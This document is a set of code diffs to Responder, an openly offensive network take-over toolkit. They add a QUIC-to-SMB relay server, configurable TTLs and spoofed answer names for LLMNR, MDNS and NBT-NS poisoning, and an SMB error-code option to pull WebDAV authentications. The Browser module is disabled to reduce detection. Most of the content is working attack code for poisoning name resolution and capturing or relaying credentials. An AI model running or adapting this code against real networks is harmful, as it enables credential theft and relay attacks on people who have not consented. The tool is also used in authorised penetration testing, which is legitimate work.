Fixed minor parsing issue in FindIP

added quic support based on xpn's work

Contributors

@@ -0,0 +1,76 @@
+Commits | user
+15  @jrmdev
+7   @nobbd
+6   @ValdikSS
+6   @also-here
+5   @HexPandaa
+5   @exploide
+5   @jvoisin
+4   @Clément Notin
+4   @Shutdown
+4   @Yannick Méheut
+3   @Hank Leininger
+3   @brightio
+3   @byt3bl33d3r
+3   @myst404
+3   @skelsec
+2   @Alexandre ZANNI
+2   @Crypt0-M3lon
+2   @Laban Sköllermark
+2   @Matthew Daley
+2   @Pixis
+2   @Rob Fuller
+2   @ThePirateWhoSmellsOfSunflowers
+2   @Vincent Yiu
+2   @requin
+1   @Andrii Nechytailov
+1   @Antonio Herraiz
+1   @Chris Maddalena
+1   @Euan
+1   @Garret Picchioni
+1   @Gifts
+1   @Gustaf Blomqvist
+1   @Hubert Seiwert
+1   @IMcPwn
+1   @Jared Haight
+1   @Jim Shaver
+1   @Khiem Doan
+1   @Leon Jacobs
+1   @Lionel PRAT
+1   @Markus
+1   @MatToufoutu
+1   @Matt
+1   @Matt Andreko
+1   @Matt Kelly
+1   @Nikos Vassakis
+1   @OJ
+1   @Paul A
+1   @Randy Ramos
+1   @SAERXCIT
+1   @Sagar-Jangam
+1   @Sans23
+1   @Sophie Brun
+1   @Stephen Shkardoon
+1   @Syntricks
+1   @Timon Hackenjos
+1   @Tom Aviv
+1   @Ziga P
+1   @cweedon
+1   @deltronzero
+1   @f3rn0s
+1   @jackassplus
+1   @jb
+1   @kevintellier
+1   @kitchung
+1   @klemou
+1   @lanjelot
+1   @nickyb
+1   @nodauf
+1   @nop5L3D
+1   @pixis
+1   @ravenium
+1   @soa
+1   @steven
+1   @thejosko
+1   @trustedsec
+

DumpHash.py

@@ -1,4 +1,4 @@
-#!/usr/bin/env python
+#!/usr/bin/env python3
 # This file is part of Responder, a network take-over set of tools 
 # created and maintained by Laurent Gaffie.
 # email: laurent.gaffie@gmail.com

README.md

@@ -157,13 +157,27 @@ Options:
                         False
     -P, --ProxyAuth       Force NTLM (transparently)/Basic (prompt)
                         authentication for the proxy. WPAD doesn't need to be
-                        ON. Default: False
+                        ON. This option is highly effective. Default: False
+    -Q, --quiet           Tell Responder to be quiet, disables a bunch of
+                        printing from the poisoners. Default: False
     --lm                  Force LM hashing downgrade for Windows XP/2003 and
                         earlier. Default: False
     --disable-ess         Force ESS downgrade. Default: False
     -v, --verbose         Increase verbosity.
-
+    -t 1e, --ttl=1e       Change the default Windows TTL for poisoned answers.
-
+                        Value in hex (30 seconds = 1e). use '-t random' for
+                        random TTL
+    -N ANSWERNAME, --AnswerName=ANSWERNAME
+                        Specifies the canonical name returned by the LLMNR
+                        poisoner in tits Answer section. By default, the
+                        answer's canonical name is the same as the query.
+                        Changing this value is mainly useful when attempting
+                        to perform Kebreros relaying over HTTP.
+    -E, --ErrorCode     Changes the error code returned by the SMB server to
+                        STATUS_LOGON_FAILURE. By default, the status is
+                        STATUS_ACCESS_DENIED. Changing this value permits to
+                        obtain WebDAV authentications from the poisoned
+                        machines where the WebClient service is running.
 
 
 ## Donation ##

Report.py

@@ -1,4 +1,4 @@
-#!/usr/bin/env python
+#!/usr/bin/env python3
 # This file is part of Responder, a network take-over set of tools 
 # created and maintained by Laurent Gaffie.
 # email: laurent.gaffie@gmail.com

Responder.conf

@@ -1,8 +1,14 @@
 [Responder Core]
 
+; Poisoners to start
+MDNS  = On
+LLMNR = On
+NBTNS = On
+
 ; Servers to start
 SQL      = On
 SMB      = On
+QUIC     = On
 RDP      = On
 Kerberos = On
 FTP      = On
@@ -15,7 +21,7 @@ DNS = On
 LDAP     = On
 DCERPC   = On
 WINRM    = On
-SNMP = Off
+SNMP     = On
 MQTT     = On
 
 ; Custom challenge.
@@ -53,9 +59,13 @@ RespondToName =
 DontRespondTo = 
 
 ; Specific NBT-NS/LLMNR names not to respond to (default = None)
-; Example: DontRespondTo = NAC, IPS, IDS
+; Example: DontRespondToName = NAC, IPS, IDS
 DontRespondToName = ISATAP
 
+; MDNS TLD not to respond to (default = _dosvc). Do not add the ".", only the TLD.
+; Example: DontRespondToTLD = _dosvc, _blasvc, etc
+DontRespondToTLD = _dosvc
+
 ; If set to On, we will stop answering further requests from a host
 ; if a hash has been previously captured for this host.
 AutoIgnoreAfterSuccess = Off

Responder.py

@@ -14,6 +14,7 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import asyncio
 import optparse
 import ssl
 try:
@@ -45,6 +46,9 @@ parser.add_option('-Q','--quiet',           action="store_true", help="Tell Resp
 parser.add_option('--lm',                  action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
 parser.add_option('--disable-ess',         action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
 parser.add_option('-v','--verbose',        action="store_true", help="Increase verbosity.", dest="Verbose")
+parser.add_option('-t','--ttl',            action="store",      help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None)
+parser.add_option('-N', '--AnswerName',	   action="store",      help="Specifies the canonical name returned by the LLMNR poisoner in tits Answer section. By default, the answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kebreros relaying over HTTP.", dest="AnswerName", default=None)
+parser.add_option('-E', '--ErrorCode',     action="store_true",      help="Changes the error code returned by the SMB server to STATUS_LOGON_FAILURE. By default, the status is STATUS_ACCESS_DENIED. Changing this value permits to obtain WebDAV authentications from the poisoned machines where the WebClient service is running.", dest="ErrorCode", default=False)
 options, args = parser.parse_args()
 
 if not os.geteuid() == 0:
@@ -69,6 +73,8 @@ settings.Config.ExpandIPRanges()
 #Create the DB, before we start Responder.
 CreateResponderDb()
 
+Have_IPv6 = settings.Config.IPv6
+
 class ThreadingUDPServer(ThreadingMixIn, UDPServer):
 	def server_bind(self):
 		if OsInterfaceIsSupported():
@@ -78,9 +84,11 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer):
 				else:
 					if (sys.version_info > (3, 0)):
 						self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
+						if Have_IPv6:
 							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
 					else:
 						self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
+						if Have_IPv6:
 							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
 			except:
 				pass
@@ -95,9 +103,11 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
 				else:
 					if (sys.version_info > (3, 0)):
 						self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
+						if Have_IPv6:
 							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
 					else:
 						self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
+						if Have_IPv6:
 							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
 			except:
 				pass
@@ -112,9 +122,11 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
 				else:
 					if (sys.version_info > (3, 0)):
 						self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
+						if Have_IPv6:
 							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
 					else:
 						self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
+						if Have_IPv6:
 							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
 			except:
 				pass
@@ -131,9 +143,11 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
 
 		#IPV6:
 		if (sys.version_info > (3, 0)):
+			if Have_IPv6:
 				mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
 				self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
 		else:
+			if Have_IPv6:
 				mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
 				self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
 		if OsInterfaceIsSupported():
@@ -143,9 +157,11 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
 				else:
 					if (sys.version_info > (3, 0)):
 						self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
+						if Have_IPv6:
 							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
 					else:
 						self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
+						if Have_IPv6:
 							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
 			except:
 				pass
@@ -160,6 +176,7 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
 		Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton)
 
 		#IPV6:
+		if Have_IPv6:
 			mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
 			self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
 		if OsInterfaceIsSupported():
@@ -169,9 +186,11 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
 				else:
 					if (sys.version_info > (3, 0)):
 						self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
+						if Have_IPv6:
 							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
 					else:
 						self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
+						if Have_IPv6:
 							self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
 			except:
 				pass
@@ -179,19 +198,24 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
 		
 
 ThreadingUDPServer.allow_reuse_address = 1
-ThreadingUDPServer.address_family = socket.AF_INET6
+if Have_IPv6:
+	ThreadingUDPServer.address_family = socket.AF_INET6
 
 ThreadingTCPServer.allow_reuse_address = 1
-ThreadingTCPServer.address_family = socket.AF_INET6
+if Have_IPv6:
+	ThreadingTCPServer.address_family = socket.AF_INET6
 
 ThreadingUDPMDNSServer.allow_reuse_address = 1
-ThreadingUDPMDNSServer.address_family = socket.AF_INET6
+if Have_IPv6:
+	ThreadingUDPMDNSServer.address_family = socket.AF_INET6
 
 ThreadingUDPLLMNRServer.allow_reuse_address = 1
-ThreadingUDPLLMNRServer.address_family = socket.AF_INET6
+if Have_IPv6:
+	ThreadingUDPLLMNRServer.address_family = socket.AF_INET6
 
 ThreadingTCPServerAuth.allow_reuse_address = 1
-ThreadingTCPServerAuth.address_family = socket.AF_INET6
+if Have_IPv6:
+	ThreadingTCPServerAuth.address_family = socket.AF_INET6
 
 def serve_thread_udp_broadcast(host, port, handler):
 	try:
@@ -278,16 +302,23 @@ def main():
 		threads = []
 
 		# Load (M)DNS, NBNS and LLMNR Poisoners
+		if settings.Config.LLMNR_On_Off:
 		    from poisoners.LLMNR import LLMNR
-		from poisoners.NBTNS import NBTNS
-		from poisoners.MDNS import MDNS
 		    threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)))
-		threads.append(Thread(target=serve_MDNS_poisoner,  args=('', 5353, MDNS,)))
+
+		if settings.Config.NBTNS_On_Off:
+		    from poisoners.NBTNS import NBTNS
 		    threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137,  NBTNS,)))
 
+		if settings.Config.MDNS_On_Off:
+		    from poisoners.MDNS import MDNS
+		    threads.append(Thread(target=serve_MDNS_poisoner,  args=('', 5353, MDNS,)))
+
+		#// Vintage Responder BOWSER module, now disabled by default. 
+		#// Generate to much noise & easily detectable on the network when in analyze mode.
 		# Load Browser Listener
-		from servers.Browser import Browser
+		#from servers.Browser import Browser
-		threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138,  Browser,)))
+		#threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138,  Browser,)))
 
 		if settings.Config.HTTP_On_Off:
 			from servers.HTTP import HTTP
@@ -332,6 +363,12 @@ def main():
 				threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 445, SMB1,)))
 				threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 139, SMB1,)))
 
+		if settings.Config.QUIC_On_Off:
+			from servers.QUIC import start_quic_server
+			cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
+			key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
+			threads.append(Thread(target=lambda: asyncio.run(start_quic_server(settings.Config.Bind_To, cert, key))))
+
 		if settings.Config.Krb_On_Off:
 			from servers.Kerberos import KerbTCP, KerbUDP
 			threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,)))

packets.py

@@ -52,7 +52,7 @@ class NBT_Ans(Packet):
 		("NbtName",       ""),
 		("Type",          "\x00\x20"),
 		("Classy",        "\x00\x01"),
-		("TTL",           "\x00\x00\x00\xa5"),
+		("TTL",           "\x00\x04\x93\xe0"), #TTL: 3 days, 11 hours, 20 minutes (Default windows behavior)
 		("Len",           "\x00\x06"),
 		("Flags1",        "\x00\x00"),
 		("IP",            "\x00\x00\x00\x00"),
@@ -263,7 +263,7 @@ class LLMNR_Ans(Packet):
 		("AnswerNameNull",   "\x00"),
 		("Type1",            "\x00\x01"),
 		("Class1",           "\x00\x01"),
-		("TTL",              "\x00\x00\x00\x1e"),##Poison for 30 sec.
+		("TTL",              "\x00\x00\x00\x1e"),##Poison for 30 sec (Default windows behavior)
 		("IPLen",            "\x00\x04"),
 		("IP",               "\x00\x00\x00\x00"),
 	])
@@ -292,7 +292,7 @@ class LLMNR6_Ans(Packet):
 		("AnswerNameNull",   "\x00"),
 		("Type1",            "\x00\x1c"),
 		("Class1",           "\x00\x01"),
-		("TTL",              "\x00\x00\x00\x1e"),##Poison for 30 sec.
+		("TTL",              "\x00\x00\x00\x1e"),##Poison for 30 sec (Default windows behavior).
 		("IPLen",            "\x00\x04"),
 		("IP",               "\x00\x00\x00\x00"),
 	])
@@ -316,7 +316,7 @@ class MDNS_Ans(Packet):
 		("AnswerNameNull",   "\x00"),
 		("Type",             "\x00\x01"),
 		("Class",            "\x00\x01"),
-		("TTL",              "\x00\x00\x00\x78"),##Poison for 2mn.
+		("TTL",              "\x00\x00\x00\x78"),##Poison for 2mn (Default windows behavior)
 		("IPLen",            "\x00\x04"),
 		("IP",               "\x00\x00\x00\x00"),
 	])
@@ -338,7 +338,7 @@ class MDNS6_Ans(Packet):
 		("AnswerNameNull",   "\x00"),
 		("Type",             "\x00\x1c"),
 		("Class",            "\x00\x01"),
-		("TTL",              "\x00\x00\x00\x78"),##Poison for 2mn.
+		("TTL",              "\x00\x00\x00\x78"),##Poison for 2mn (Default windows behavior)
 		("IPLen",            "\x00\x04"),
 		("IP",               "\x00\x00\x00\x00"),
 	])
@@ -1035,9 +1035,9 @@ class LDAPNTLMChallenge(Packet):
 		("NTLMSSPNtTargetInfoLen",                    "\x94\x00"),
 		("NTLMSSPNtTargetInfoMaxLen",                 "\x94\x00"),
 		("NTLMSSPNtTargetInfoBuffOffset",             "\x56\x00\x00\x00"),
-		("NegTokenInitSeqMechMessageVersionHigh",     "\x05"),
+		("NegTokenInitSeqMechMessageVersionHigh",     "\x0a"),
-		("NegTokenInitSeqMechMessageVersionLow",      "\x02"),
+		("NegTokenInitSeqMechMessageVersionLow",      "\x00"),
-		("NegTokenInitSeqMechMessageVersionBuilt",    "\xce\x0e"),
+		("NegTokenInitSeqMechMessageVersionBuilt",    "\x7c\x4f"),
 		("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"),
 		("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"),
 		("NTLMSSPNtWorkstationName",                  settings.Config.Domain),

poisoners/DHCP.py

@@ -239,9 +239,13 @@ def ParseSrcDSTAddr(data):
     return SrcIP, SrcPort, DstIP, DstPort
 
 def FindIP(data):
-    data = data.decode('latin-1')
+    IPPos = data.find(b"\x32\x04") + 2
-    IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
+    if IPPos == -1 or IPPos + 4 >= len(data) or IPPos == 1:
-    return ''.join(IP[0:4]).encode('latin-1')
+        #Probably not present in the DHCP options we received, let's grab it from the IP header instead
+        return data[12:16]
+    else:
+        IP = data[IPPos:IPPos+4]
+        return IP
 
 def ParseDHCPCode(data, ClientIP,DHCP_DNS):
     global DHCPClient

poisoners/LLMNR.py

@@ -22,6 +22,9 @@ if (sys.version_info > (3, 0)):
 else:
 	from SocketServer import BaseRequestHandler
 
+#Should we answer to those AAAA?
+Have_IPv6 = settings.Config.IPv6
+
 def Parse_LLMNR_Name(data):
 	import codecs
 	NameLen = data[12]
@@ -55,6 +58,10 @@ class LLMNR(BaseRequestHandler):  # LLMNR Server class
 		try:
 			data, soc = self.request
 			Name = Parse_LLMNR_Name(data).decode("latin-1")
+			if settings.Config.AnswerName is None:
+				AnswerName = Name
+			else:
+				AnswerName = settings.Config.AnswerName
 			LLMNRType = Parse_IPV6_Addr(data)
 
 			# Break out if we don't want to respond to this host
@@ -73,12 +80,19 @@ class LLMNR(BaseRequestHandler):  # LLMNR Server class
 							})
 
 				elif LLMNRType == True:  # Poisoning Mode
-					Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
+					#Default:
+					if settings.Config.TTL == None:
+						Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName)
+					else:
+						Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL)
 					Buffer1.calculate()
 					soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
 					if not settings.Config.Quiet_Mode:
 						LineHeader = "[*] [LLMNR]"
+						if settings.Config.AnswerName is None:
 							print(color("%s  Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
+						else:
+							print(color("%s  Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1))
 					SavePoisonersToDb({
 							'Poisoner': 'LLMNR', 
 							'SentToIp': self.client_address[0], 
@@ -86,13 +100,20 @@ class LLMNR(BaseRequestHandler):  # LLMNR Server class
 							'AnalyzeMode': '0',
 							})
 
-				elif LLMNRType == 'IPv6':
+				elif LLMNRType == 'IPv6' and Have_IPv6:
-					Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
+					#Default:
+					if settings.Config.TTL == None:
+						Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName)
+					else:
+						Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL)
 					Buffer1.calculate()
 					soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
 					if not settings.Config.Quiet_Mode:
 						LineHeader = "[*] [LLMNR]"
+						if settings.Config.AnswerName is None:
 							print(color("%s  Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
+						else:
+							print(color("%s  Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1))
 					SavePoisonersToDb({
 							'Poisoner': 'LLMNR6', 
 							'SentToIp': self.client_address[0], 

poisoners/MDNS.py

@@ -23,6 +23,9 @@ else:
 from packets import MDNS_Ans, MDNS6_Ans
 from utils import *
 
+#Should we answer to those AAAA?
+Have_IPv6 = settings.Config.IPv6
+
 def Parse_MDNS_Name(data):
 	try:
 		if (sys.version_info > (3, 0)):
@@ -70,7 +73,11 @@ class MDNS(BaseRequestHandler):
 						})
 			elif MDNSType == True:  # Poisoning Mode
 				Poisoned_Name = Poisoned_MDNS_Name(data)
+				#Use default:
+				if settings.Config.TTL == None:
 					Buffer = MDNS_Ans(AnswerName = Poisoned_Name)
+				else:
+					Buffer = MDNS_Ans(AnswerName = Poisoned_Name, TTL=settings.Config.TTL)
 				Buffer.calculate()
 				soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
 				if not settings.Config.Quiet_Mode:
@@ -82,9 +89,13 @@ class MDNS(BaseRequestHandler):
 						'AnalyzeMode': '0',
 						})
 
-			elif MDNSType == 'IPv6':  # Poisoning Mode
+			elif MDNSType == 'IPv6' and Have_IPv6:  # Poisoning Mode
 				Poisoned_Name = Poisoned_MDNS_Name(data)
+				#Use default:
+				if settings.Config.TTL == None:
 					Buffer = MDNS6_Ans(AnswerName = Poisoned_Name)
+				else:
+					Buffer = MDNS6_Ans(AnswerName = Poisoned_Name, TTL= settings.Config.TTL)
 				Buffer.calculate()
 				soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
 				if not settings.Config.Quiet_Mode:

poisoners/NBTNS.py

@@ -44,7 +44,10 @@ class NBTNS(BaseRequestHandler):
 							'AnalyzeMode': '1',
 							})
 				else:  # Poisoning Mode
+					if settings.Config.TTL == None:
 						Buffer1 = NBT_Ans()
+					else:
+						Buffer1 = NBT_Ans(TTL=settings.Config.TTL)
 					Buffer1.calculate(data)
 					socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
 					if not settings.Config.Quiet_Mode:

requirements.txt

@@ -1 +1,2 @@
+aioquic
 netifaces>=0.10.4

servers/DNS.py

@@ -21,6 +21,9 @@ if settings.Config.PY2OR3 == "PY3":
 else:
 	from SocketServer import BaseRequestHandler
 
+#Should we answer to those AAAA?
+Have_IPv6 = settings.Config.IPv6
+
 def ParseDNSType(data):
 	QueryTypeClass = data[len(data)-4:]
 	OPT = data[len(data)-22:len(data)-20]
@@ -65,14 +68,14 @@ class DNS(BaseRequestHandler):
 				ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
 				print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s  Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
 
-			if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6":
+			if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6:
 				buff = DNS6_Ans()
 				buff.calculate(NetworkRecvBufferPython2or3(data))
 				soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
 				ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
 				print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s  Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
 
-			if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6":
+			if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6:
 				buff = DNS6_Ans()
 				buff.calculate(NetworkRecvBufferPython2or3(data))
 				soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
@@ -113,14 +116,14 @@ class DNSTCP(BaseRequestHandler):
 				ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
 				print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s  Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
 
-			if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6":
+			if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6:
 				buff = DNS6_Ans()
 				buff.calculate(NetworkRecvBufferPython2or3(data))
 				self.request.send(NetworkSendBufferPython2or3(buff))
 				ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
 				print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s  Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
 
-			if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6":
+			if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6:
 				buff = DNS6_AnsOPT()
 				buff.calculate(NetworkRecvBufferPython2or3(data))
 				self.request.send(NetworkSendBufferPython2or3(buff))

servers/QUIC.py

@@ -0,0 +1,168 @@
+import asyncio
+import logging
+import ssl
+import argparse
+import netifaces
+from utils import *
+from aioquic.asyncio import serve
+from aioquic.asyncio.protocol import QuicConnectionProtocol
+from aioquic.quic.configuration import QuicConfiguration
+from aioquic.quic.events import QuicEvent, StreamDataReceived, StreamReset, ConnectionTerminated
+
+BUFFER_SIZE = 11000
+
+def get_interface_ip(interface_name):
+    """Get the IP address of a network interface."""
+    try:
+        # Get address info for the specified interface
+        addresses = netifaces.ifaddresses(interface_name)
+        
+        # Get IPv4 address (AF_INET = IPv4)
+        if netifaces.AF_INET in addresses:
+            return addresses[netifaces.AF_INET][0]['addr']
+        
+        # If no IPv4 address, try IPv6 (AF_INET6 = IPv6)
+        if netifaces.AF_INET6 in addresses:
+            return addresses[netifaces.AF_INET6][0]['addr']
+        
+        logging.error(f"[!] No IP address found for interface {interface_name}")
+        return None
+    except ValueError:
+        logging.error(f"[!] Interface {interface_name} not found")
+        return None
+
+
+class QUIC(QuicConnectionProtocol):
+    def __init__(self, *args, target_address=None, **kwargs):
+        super().__init__(*args, **kwargs)
+        self.tcp_connections = {}  # stream_id -> (reader, writer)
+        self.target_address = target_address or "localhost"
+        
+    def quic_event_received(self, event):
+        if isinstance(event, StreamDataReceived):
+            asyncio.create_task(self.handle_stream_data(event.stream_id, event.data))
+        elif isinstance(event, StreamReset) or isinstance(event, ConnectionTerminated):
+            # Only try to close connections if we have any
+            if self.tcp_connections:
+                asyncio.create_task(self.close_all_tcp_connections())
+                
+    async def handle_stream_data(self, stream_id, data):
+        if stream_id not in self.tcp_connections:
+            # Create a new TCP connection to the target interface:445
+            try:
+                reader, writer = await asyncio.open_connection(self.target_address, 445)
+                self.tcp_connections[stream_id] = (reader, writer)
+                
+                # Start task to read from TCP and write to QUIC
+                asyncio.create_task(self.tcp_to_quic(stream_id, reader))
+                
+                logging.info(f"[*] Connected to {self.target_address}:445\n[*] Starting relaying process...")
+                print(text("[QUIC] Forwarding QUIC connection to SMB server"))
+            except Exception as e:
+                logging.error(f"[!] Error connecting to {self.target_address}:445: {e}")
+                return
+        
+        # Forward data from QUIC to TCP
+        try:
+            _, writer = self.tcp_connections[stream_id]
+            writer.write(data)
+            await writer.drain()
+        except Exception as e:
+            logging.error(f"[!] Error writing to TCP: {e}")
+            await self.close_tcp_connection(stream_id)
+    
+    async def tcp_to_quic(self, stream_id, reader):
+        try:
+            while True:
+                data = await reader.read(BUFFER_SIZE)
+                if not data:
+                    break
+                
+                self._quic.send_stream_data(stream_id, data)
+                self.transmit()
+        except Exception as e:
+            logging.error(f"[!] Error reading from TCP: {e}")
+        finally:
+            await self.close_tcp_connection(stream_id)
+    
+    async def close_tcp_connection(self, stream_id):
+        if stream_id in self.tcp_connections:
+            _, writer = self.tcp_connections[stream_id]
+            writer.close()
+            await writer.wait_closed()
+            del self.tcp_connections[stream_id]
+    
+    async def close_all_tcp_connections(self):
+        try:
+            # Make a copy of the keys to avoid modification during iteration
+            stream_ids = list(self.tcp_connections.keys())
+            for stream_id in stream_ids:
+                try:
+                    await self.close_tcp_connection(stream_id)
+                except KeyError:
+                    # Silently ignore if the stream ID no longer exists
+                    pass
+        except Exception as e:
+            # Catch any other exceptions that might occur
+            logging.debug(f"[!] Error closing TCP connections: {e}")
+
+async def start_quic_server(listen_interface, cert_path, key_path):
+    # Configure QUIC
+    configuration = QuicConfiguration(
+        alpn_protocols=["smb"],
+        is_client=False,
+    )
+    
+    # Load certificate and private key
+    try:
+        configuration.load_cert_chain(cert_path, key_path)
+    except Exception as e:
+        logging.error(f"[!] Could not load {cert_path} and {key_path}: {e}")
+        return
+    
+    # Resolve interfaces to IP addresses
+    listen_ip = listen_interface
+    if not is_ip_address(listen_interface):
+        listen_ip = get_interface_ip(listen_interface)
+        if not listen_ip:
+            logging.error(f"[!] Could not resolve IP address for interface {listen_interface}")
+            return
+    
+    target_ip = listen_interface
+    if not is_ip_address(listen_interface):
+        target_ip = get_interface_ip(listen_interface)
+        if not target_ip:
+            logging.error(f"[!] Could not resolve IP address for interface {listen_interface}")
+            return
+    
+    # Start QUIC server with correct protocol factory
+    server = await serve(
+        host=listen_ip,
+        port=443,
+        configuration=configuration,
+        create_protocol=lambda *args, **kwargs: QUIC(
+            *args,
+            target_address=target_ip,
+            **kwargs
+        )
+    )
+    
+    logging.info(f"[*] Started listening on {listen_ip}:443 (UDP)")
+    logging.info(f"[*] Forwarding connections to {target_ip}:445 (TCP)")
+    
+    # Keep the server running forever
+    await asyncio.Future()
+
+
+def is_ip_address(address):
+    """Check if a string is a valid IP address."""
+    import socket
+    try:
+        socket.inet_pton(socket.AF_INET, address)
+        return True
+    except socket.error:
+        try:
+            socket.inet_pton(socket.AF_INET6, address)
+            return True
+        except socket.error:
+            return False

